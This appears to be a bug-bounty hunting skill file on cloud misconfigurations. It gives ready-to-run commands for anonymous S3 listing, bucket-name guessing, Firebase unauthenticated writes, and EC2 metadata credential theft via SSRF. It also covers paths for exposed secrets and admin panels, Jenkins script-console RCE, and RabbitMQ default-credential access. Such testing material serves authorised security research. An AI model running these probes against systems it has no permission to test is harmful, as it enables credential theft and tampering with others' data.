## Description

Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).

## 16. CLOUD / INFRA MISCONFIGS

### S3 / GCS / Azure Blob
```bash
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write
```

### EC2 Metadata (via SSRF)
```bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys
```

### Exposed Admin Panels
```
/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status
```

---

### Jenkins SSO-restriction failure → Script Console RCE
An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.

### Exposed message broker (RabbitMQ / AMQP) with default creds
Probe RabbitMQ management (`http://TARGET:15672/`, API `:15672/api/overview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.

## Local-verification toolchain

For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:

```bash
# LocalStack 3.0 community (pin the version, 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
